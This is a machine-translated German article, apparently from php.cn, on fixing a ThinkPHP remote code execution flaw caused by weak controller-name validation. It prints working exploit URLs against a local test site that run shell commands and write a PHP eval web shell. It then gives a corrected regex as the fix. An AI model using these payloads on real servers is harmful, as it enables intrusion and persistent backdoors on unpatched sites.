Heim > PHP-Framework > Denken Sie an PHP > So beheben Sie die Thinkphp-Sicherheitslücke

So beheben Sie die Thinkphp-Sicherheitslücke

藏色散人
Freigeben: 2019-08-13 18:00:11
Original
4120 Leute haben es durchsucht

So beheben Sie die Thinkphp-Sicherheitslücke

THINKPHP-Fehlerbehebungen: Vor Kurzem hat der Beamte alle vorhandenen Thinkphp-Versionen aktualisiert und mit diesem Update hauptsächlich einige Fehler behoben Die zuvor bestehende SQL-Injection-Schwachstelle und die Schwachstelle des Remote-Code-Ausführungsabfragesystems wurden behoben. Die Beamten dachten, dass es kein Problem geben würde, aber bei der eigentlichen Sicherheitsüberprüfung wurde festgestellt, dass es immer noch Probleme gibt und Remote-Code-Injection möglich ist noch erledigt sein, unzulässige Zeichen einfügen und an das Server-Backend senden.

So beheben Sie die Thinkphp-Sicherheitslücke

Was die diesmal entdeckte Sicherheitslücke betrifft, schauen wir uns an, wie sie aussieht. Der aktualisierte Programmdateipfad ist app.php im Think-Verzeichnis unter dem Bibliotheksordner . , wie unten gezeigt:

So beheben Sie die Thinkphp-Sicherheitslücke

Der Grund für die Schwachstelle liegt in diesem Controller. Die Funktionen im gesamten thinkphp-Framework führen keine strenge Sicherheitsfilterung und -prüfung auf dem Controller durch Dies ermöglicht Angriffe. Der Angreifer kann schädliche Parameter fälschen, um das Einfügen zu erzwingen. Der grundlegendste Grund ist, dass die regulären Ausdrücke nicht gut geschrieben sind und umgangen werden können.

Nachdem der Controller den Controller erhalten hat, weist er den Wert direkt zu. Der Name des Controllers wird jedoch nicht genau erkannt, was zur Verwendung spezieller Symbole wie Schrägstriche für die Remote-Code-Injektion führt.

Richten wir die Website-Umgebung ein, Apache+MySQL+Linux-Centos-System. Die Adresse der erstellten Testumgebung lautet http://127.0.01/anquan. Wir können die Angriffsparameter direkt hinter index.php fälschen . Ein Beispiel lautet wie folgt:

1

http://127.0.0.1/anquan/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls%20-l

Nach dem Login kopieren

Senden Sie es direkt über die Get-Methode, und Sie können alle Dateien im aktuellen Stammverzeichnis der Website direkt abfragen:

So beheben Sie die Thinkphp-Sicherheitslücke

Durch diese Schwachstelle können Sie auch direkt Remote-Code einschleusen, um die phpinfo-Anweisung auszuführen, die aktuelle PHP-Version, den Pfad, die Erweiterung und die Adresse abzufragen, an der php.ini gespeichert ist. Alles ist sichtbar. Erstellen Sie einfach den folgenden Code.

1

http://127.0.0.1/anquan/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=php%20-r%20'phpinfo();'

Nach dem Login kopieren

So beheben Sie die Thinkphp-Sicherheitslücke

Einige Leute fragen sich vielleicht: Kann GetShell Website-Trojaner-Dateien in die Website schreiben, da phpinfo zum Abfragen von Verzeichnisdateien verwendet werden kann? Die Antwort lautet „Ja“. Bei unserem Test haben wir einen Satz Trojaner-Code in die Datei „safe.php“ geschrieben.

1

http://127.0.0.1/anquan/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20%27<?php%20@eval($_GET["cmd"]);?>%27%20>%20safe.php

Nach dem Login kopieren

Dies ist das Ende der Ausnutzung und Analyse der Sicherheitslücke bei thinkphp. Der Schaden ist schwerwiegend. Viele Websites, die Patches aktualisieren, werden angegriffen gesperrt. Ma, wie kann man die Thinkphp-Sicherheitslücke beheben?

Ersetzen Sie einfach den vorherigen regulären Ausdruck. Sie müssen auch Berechtigungen für das Website-Verzeichnis bereitstellen, um die Generierung von PHP-Dateien zu verhindern, Schwachstellen auf der Website zu beheben oder die Sicherheitsschutzparameter der Website zurückzusetzen Website-Umgebung zu dieser Zeit.

Angesichts dieser Situation müssen wir den regulären Ausdruck in seinem Bibliotheks-/think/App.php-Code ändern

1

if (!preg_match(&#39;/^[A-Za-z][\w\.]*$/&#39;, $controller)) { throw new HttpException(404, &#39;controller not exists:&#39; . $controller); }

Nach dem Login kopieren

Dieser Artikel stammt aus der technischen Artikelspalte des ThinkPHP-Frameworks: http ://m.sbmmt.com/phpkj/thinkphp/

Das obige ist der detaillierte Inhalt vonSo beheben Sie die Thinkphp-Sicherheitslücke. Für weitere Informationen folgen Sie bitte anderen verwandten Artikeln auf der PHP chinesischen Website!

Verwandte Etiketten:
Quelle:php.cn
Erklärung dieser Website
Der Inhalt dieses Artikels wird freiwillig von Internetnutzern beigesteuert und das Urheberrecht liegt beim ursprünglichen Autor. Diese Website übernimmt keine entsprechende rechtliche Verantwortung. Wenn Sie Inhalte finden, bei denen der Verdacht eines Plagiats oder einer Rechtsverletzung besteht, wenden Sie sich bitte an admin@php.cn
Beliebte Tutorials
Mehr>
Neueste Downloads
Mehr>
Web-Effekte
Quellcode der Website
Website-Materialien
Frontend-Vorlage